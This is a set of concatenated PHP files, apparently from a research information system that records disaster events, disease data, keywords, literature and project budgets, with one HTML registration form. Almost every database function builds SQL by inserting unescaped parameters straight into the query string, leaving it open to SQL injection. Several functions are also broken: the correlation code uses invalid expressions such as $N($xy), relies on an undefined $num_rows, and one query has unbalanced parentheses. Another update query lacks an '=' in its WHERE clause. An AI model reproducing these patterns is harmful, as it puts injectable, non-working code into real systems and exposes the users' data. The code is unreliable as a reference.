function extremeevent_diseases_graph($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year){$WHERE[]="ed.year='$year' ";}
if($month){$WHERE[]="ed.month LIKE '$month' ";}
if($region){$WHERE[]="ed.region LIKE '$region' ";}
if($city){$WHERE[]="ed.municipality LIKE '$city' ";}
if($barangay){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT ed.incident, ed.number_of_incidents, "
. "(SELECT d.disease FROM diseases d WHERE d.diseaseID=(SELECT hd.diseaseID FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed)) AS 'disease', "
. "(SELECT hd.infected FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed) AS 'num_of_infected' "
. "FROM event_data ed WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function extremeevent_diseases_computation($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT ed.incident, ed.number_of_incidents, "
. "(SELECT d.disease FROM diseases d WHERE d.diseaseID=(SELECT hd.diseaseID FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed)) AS 'disease', "
. "(SELECT hd.infected FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed)) AS 'num_of_infected' "
. "FROM event_data ed WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
}
$con->close();
$N = count($query_result);
foreach ($query_result as $arr) {
$x += $arr[1];
$y += $arr[3];
$xy += $arr[1] * $arr[3];
$x2 += $arr[1] * $arr[1];
$y2 += $arr[3] * $arr[3];
}
$r = ($N($xy) - (($x)($y))) / (sqrt(($N($x2) - ((pow($x, 2))))($N($y2) - (pow($y, 2)))));
return $r;
}
function extremeevent_deathtoll_graph($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT ed.incident, ed.number_of_incidents, ed.number_of_deaths FROM event_data ed WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function extremeevent_deathtoll_computation($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT ed.incident, ed.number_of_incidents, ed.number_of_deaths FROM event_data ed WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
}
$con->close();
$N = count($query_result);
foreach ($query_result as $arr) {
$x += $arr[1];
$y += $arr[2];
$xy += $arr[1] * $arr[2];
$x2 += $arr[1] * $arr[1];
$y2 += $arr[2] * $arr[2];
}
$r = ($N($xy) - (($x)($y))) / (sqrt(($N($x2) - ((pow($x, 2))))($N($y2) - (pow($y, 2)))));
return $r;
}
function diseases_deathtoll_graph($year, $month, $region, $city) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hd.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hd.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hd.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hd.city LIKE '$city' ";}
$query = "SELECT (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease', "
. "SUM(hd.infected) AS 'infected', "
. "(SELECT SUM(ed.number_of_deaths) FROM event_data ed WHERE ed.year IN (SELECT hd.year FROM health_data hd) AND ed.month IN (SELECT hd.month FROM health_data hd) AND ed.region IN (SELECT hd.region FROM health_data hd) AND ed.municipality IN (SELECT hd.city FROM health_data hd)) AS 'num_of_deaths' "
. "FROM health_data hd WHERE hd.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hd.diseaseID";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function diseases_deathtoll_computation($year, $month, $region, $city) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hd.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hd.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hd.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hd.city LIKE '$city' ";}
$query = "SELECT (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease', "
. "SUM(hd.infected) AS 'infected', "
. "(SELECT SUM(ed.number_of_deaths) FROM event_data ed WHERE ed.year IN (SELECT hd.year FROM health_data hd) AND ed.month IN (SELECT hd.month FROM health_data hd) AND ed.region IN (SELECT hd.region FROM health_data hd) AND ed.municipality IN (SELECT hd.city FROM health_data hd)) AS 'num_of_deaths' "
. "FROM health_data hd WHERE hd.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hd.diseaseID";
$con = createconnection();
$result = mysqli_query($con, $query);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
}
$con->close();
$N = count($query_result);
foreach ($query_result as $arr) {
$x += $arr[1];
$y += $arr[2];
$xy += $arr[1] * $arr[2];
$x2 += $arr[1] * $arr[1];
$y2 += $arr[2] * $arr[2];
}
$r = ($N($xy) - (($x)($y))) / (sqrt(($N($x2) - ((pow($x, 2))))($N($y2) - (pow($y, 2)))));
return $r;
}
//END OF CORRELATION
?>
<file_sep><?php
function getallkeywords() {
require_once('dbconnect.php');
$query = "SELECT * FROM keyword WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setkeyword($keyword) {
require_once('dbconnect.php');
$query = "INSERT INTO keyword (keyword) VALUES('$keyword')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivatekeyword($id) {
require_once('dbconnect.php');
$query = "UPDATE keyword SET ACTIVE=0 WHERE keywordID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getkeyword($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM keyword WHERE active = 1 AND keywordID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatekeyword($keyword, $id) {
require_once('dbconnect.php');
$query = "UPDATE keyword SET keyword='$keyword' WHERE keywordID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getkeywordidfromtext($keyword){
require_once('dbconnect.php');
$query = "SELECT keywordID FROM sdrcris.keyword WHERE keyword LIKE '$keyword' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep>
<?php
require_once 'model/m_method_of_expense.php';
function submit_methodofexpense($name, $description) {
$controller_result = setmethodofexpense($name, $description);
return 1;
}
function generate_all_methodofexpense() {
$result = array();
$result = getallmethodofexpense();
return $result;
}
function delete_methodexpense($deactivate) {
$controller_result = deactivatemethodofexpense($deactivate);
return 2;
}
function getupdate_expensemethod($update) {
$result = array();
$result = getmethodofexpensebyid($update);
return $result;
}
function submitupdate_expensemethod($name, $description, $id) {
$controller_result = updatemethodofexpense($name, $description, $id);
return 3;
}
<file_sep><?php
require_once 'model/m_project.php';
function submit_projectform($name, $description, $startdate, $enddate, $id) {
$controller_result = updateproject($name, $description, $startdate, $enddate, $id);
echo "<script type='text/javascript'>alert('Project Details successfully updated!');</script>";
}
function getprojectinfo($id) {
$result = array();
$result = getprojectbyid($id);
return $result;
}
<file_sep><?php
require_once ('model/m_project_budget.php');
require_once ('model/m_project_expenses.php');
function generatetotalbudget() {
$budgetsum = getbudgetsum();
foreach ($budgetsum as $arr_result) {
$budget=$arr_result['amount'];
}
return $budget;
}
function generatetotalexpense() {
$budgetsum = getexpensesum();
foreach ($budgetsum as $arr_result) {
$budget=$arr_result['amount'];
}
return $budget;
}
function generateremainingbudget(){
$budget=generatetotalbudget();
$expense= generatetotalexpense();
$remaining=$budget-$expense;
return $remaining;
}
?>
<file_sep><?php
require_once 'model/m_rrl.php';
function generate_all_literature_listings(){
$result=array();
$result= getallrrl();
return $result;
}
<file_sep><?php
function getallquestionnaire() {
require_once('dbconnect.php');
$query = "SELECT * FROM questionnaire WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function uploadquestionnaire($projectID, $questionnaireTitle, $questionnaireObjective, $created, $approved, $AnsweredBy, $AnsweredAge, $AnsweredSex) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO questionnaire (projectID,questionnaireTitle,questionnaireObjective,created,approved,AnsweredBy,AnsweredAge,AnsweredSex,dateAnswered) VALUES ('$projectID','$questionnaireTitle','$questionnaireObjective','date_format($created, Y-m-d)','date_format($approved, Y-m-d)','$AnsweredBy', '$AnsweredAge', '$AnsweredSex','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getquestionnaireID() {
require_once('dbconnect.php');
$query = "SELECT questionnaireID FROM questionnaire ORDER BY questionnaireID desc LIMIT 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $result;
}
$con->close();
}
function uploadquestionnairequestion($question) {
require_once('dbconnect.php');
$questionnaireID = getquestionnaireID();
$query = "INSERT INTO questionnaire_question (questionnaireID,question) VALUES ('$questionnaireID', '$question')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
//function getquestionID() {
// require_once('dbconnect.php');
// $query = "SELECT questionID FROM questionnaire_question ORDER BY questionID desc LIMIT 1";
// $con = createconnection();
//
// if (isset($query)) {
// $result = mysqli_query($con, $query);
// return $result;
// }
// $con->close();
//}
function uploadquestionnairedata($questionID, $data) {
require_once('dbconnect.php');
// $questionID = getquestionID();
$query = "INSERT INTO questionnaire_data (questionID,data) VALUES ('$questionID', '$data')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
?>
<file_sep><?php
require_once 'model/m_health_infrastructure_damages.php';
function generate_all_healthinfrastructure(){
$result=array();
$result= getallhealthinfrastructuredamages();
return $result;
}
<file_sep><?php
require_once 'model/m_user.php';
function submit_userform($firstname,$middlename,$lastname,$email,$password1,$password2,$specializations,$masters,$doctorate,$id){
if ($password1==$password2){
$controller_result=updateuser($firstname,$middlename,$lastname,$email,$password1,$specializations,$masters,$doctorate,$id);
}
else
{return 2;}
}
function getuserinfo($id){
$result=array();
$result=getuserbyid($id);
return $result;
}
<file_sep><?php
function getalldiseases() {
require_once('dbconnect.php');
$query = "SELECT * FROM diseases WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getalldiseases_noncommunicable() {
require_once('dbconnect.php');
$query = "SELECT * FROM diseases WHERE active = 1 AND communicable = 0";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getalldiseases_communicable() {
require_once('dbconnect.php');
$query = "SELECT * FROM diseases WHERE active = 1 AND communicable = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function add_disease($disease) {
require_once('dbconnect.php');
$query = "INSERT INTO diseases (disease) VALUES('$disease')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivate_disease($diseaseID){
require_once('dbconnect.php');
$query = "UPDATE diseases SET active = 0 WHERE diseaseID = '$diseaseID' ";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function add_disease_communicable($diseaseID,$waysID){
require_once('dbconnect.php');
$query = "INSERT INTO disease_communicable (diseaseID,waysID) VALUES('$diseaseID','$waysID')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function getdisease($d) {
require_once('dbconnect.php');
$query = "SELECT diseaseID FROM diseases WHERE disease='$d'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $result;
}
$con->close();
}
function getdiseasefromtext($disease){
require_once('dbconnect.php');
$query = "SELECT diseaseID FROM sdrcris.diseases WHERE disease LIKE '$disease' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php
require_once 'model/m_project_user.php';
require_once 'model/m_user.php';
function generate_all_projectusers() {
$result = array();
$result = getalluserswithoutusertype();
return $result;
}
function submit_project_user($user,$project){
echo "<script type='text/javascript'>alert('Assignment to project successful!');</script>";
}
<file_sep><?php
require_once ('model/m_user.php');
function generate_all_users(){
$result=array();
$result= getallusers();
return $result;
}
function delete_user($deactivate){
$controller_result=deactivateuser($deactivate);
}
<file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<!-- UPDATE PHP CONTROLLER CODE HERE -->
<head>
<?php include_once ('dependencies/top_resources.php'); ?>
<!-- UPDATE PHP CODE HERE -->
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Register Disease Type</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Administrative</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Register Disease Type</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!----BODY--->
<div class="page-content-inner">
<!----BODY--->
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">REGISTER DISEASE TYPE</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" class="col-md-10">
<div class="form-group">
<label for="exampleInputEmail1">Name of Disease</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="nameOfDisease" placeholder="Name of Disease" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Description</label>
<textarea row="3" col="10" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="description" placeholder="Description" required></textarea>
</div>
<div class="form-group">
<label for="single" class="control-label">Type of Disease</label>
<select id="single" class="form-control select2">
<option value="NCR">Communicable</option>
<option value="RegionI">Non-communicable</option>
</select>
</div>
<div class="pull-left">
<button type="submit" class="btn btn-info">Register Disease</button>
</div>
</form>
</div>
<ul class="list-separated list-inline-xs hide">
</ul>
</div>
</div>
</div>
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">REGISTERED DISEASES</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<div class="table-responsive">
<table class="table table-bordered table-striped table-hover" id="sample_2">
<thead>
<tr>
<th width="25%">Name of Disease</th>
<th width="50%">Description</th>
<th width="25%">Type of Disease</th>
<th>Deactivate</th>
<th>Update</th>
</tr>
</thead>
<tfoot>
<tr></tr>
</tfoot>
<tbody>
<!-- UPDATE PHP CODE HERE -->
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Expense Registered" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == TRUE)
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
?>
</script>
</body>
</html><file_sep><?php
function getallmethodofreceivingfunding(){
require_once('dbconnect.php');
$query="SELECT * FROM method_of_receivingfunding WHERE active = 1";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function setmethodofreceivingfunding($name,$description){
$datenow=date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query="INSERT INTO method_of_receivingfunding (name,description) VALUES ('$name','$description')";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function deactivateregistermethodbudget($id){
require_once('dbconnect.php');
$query="UPDATE method_of_receivingfunding SET ACTIVE=0 WHERE registration_methodID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function getmethodofreceivingfundingbyid($id){
require_once('dbconnect.php');
$query="SELECT * FROM method_of_receivingfunding WHERE active = 1 AND registration_methodID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function updatemethodofreceivingfunding($name,$description,$id)
{
require_once('dbconnect.php');
$query="UPDATE method_of_receivingfunding SET name='$name', description='$description' WHERE registration_methodID= '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
<file_sep><?php
function getallfacilities() {
require_once('dbconnect.php');
$query = "SELECT * FROM facilities WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setfacilities($name,$description) {
require_once('dbconnect.php');
$query = "INSERT INTO facilities (name,description) VALUES('$name','$description')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivatefacilities($id) {
require_once('dbconnect.php');
$query = "UPDATE facilities SET ACTIVE=0 WHERE facilitiesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getfacilities($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM facilities WHERE active = 1 AND facilitiesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatefacilities($name, $description, $id) {
require_once('dbconnect.php');
$query = "UPDATE facilities SET name='$name', description='$description' WHERE facilitiesID= '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getfacilitybytext($facility){
require_once('dbconnect.php');
$query = "SELECT facilitiesID FROM facilities WHERE name LIKE '$facility' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php
function getalltypeofinfrastructuredamages() {
require_once('dbconnect.php');
$query = "SELECT * FROM infrastructure_damagesID WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setinfrastructuredamages($name) {
require_once('dbconnect.php');
$query = "INSERT INTO infrastructure_damages (name) VALUES('$name')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivateinfrastructuredamages($id) {
require_once('dbconnect.php');
$query = "UPDATE infrastructure_damages SET ACTIVE=0 WHERE infrastructure_damagesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getinfrastructuredamages($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM infrastructure_damages WHERE active = 1 AND infrastructure_damagesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updateinfrastructuredamages($name, $id) {
require_once('dbconnect.php');
$query = "UPDATE infrastructure_damages SET name='$name' WHERE infrastructure_damagesID '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getinfrastructuredamagesfromtext($name){
require_once('dbconnect.php');
$query = "SELECT infrastructure_damagesID FROM infrastructure_damages WHERE name LIKE '$name' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php
function getallrrl() {
require_once('dbconnect.php');
$query = "SELECT rl.*, (SELECT tl.name FROM type_of_literature tl WHERE tl.typeOfLitID=rl.typeID) AS 'type', (SELECT cl.name FROM category_literature cl WHERE cl.categoryID=rl.categoryID) AS 'category' FROM rrl rl WHERE active = 1;";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getallrrl_keyword($keyword){
require_once('dbconnect.php');
$query = "SELECT rl.*, (SELECT tl.name FROM type_of_literature tl WHERE tl.typeOfLitID=rl.typeID) AS 'type', (SELECT cl.name FROM category_literature cl WHERE cl.categoryID=rl.categoryID) AS 'category' FROM rrl rl WHERE active = 1 AND rl.idrrl IN (SELECT rk.rrlID FROM rrl_keyword rk WHERE rk.keywordID IN (SELECT k.keywordID FROM keyword k WHERE k.keyword ='$keyword'));";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function uploadliterature($projectID, $year, $title, $author, $abstract, $typeID, $categoryID, $source, $link, $userID) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$abstract=addslashes($abstract);
$title=addslashes($title);
$author=addslashes($author);
$link=addslashes($link);
$source=addslashes($source);
$query = "INSERT INTO rrl (projectID,year,title,author,abstract,typeID,categoryID,source,link,inputted_by,inputted_on) VALUES('$projectID','$year','$title','$author','\\$abstract','$typeID','$categoryID','$source','$link','$userID','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
$con->close();
}
function getlast() {
require_once('dbconnect.php');
$query = "SELECT idrrl FROM rrl ORDER BY idrrl desc LIMIT 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $result;
}
$con->close();
}
function deactivateliterature($idrrl) {
require_once('dbconnect.php');
$query = "UPDATE rrl SET active = 0 WHERE idrrl = '$idrrl'";
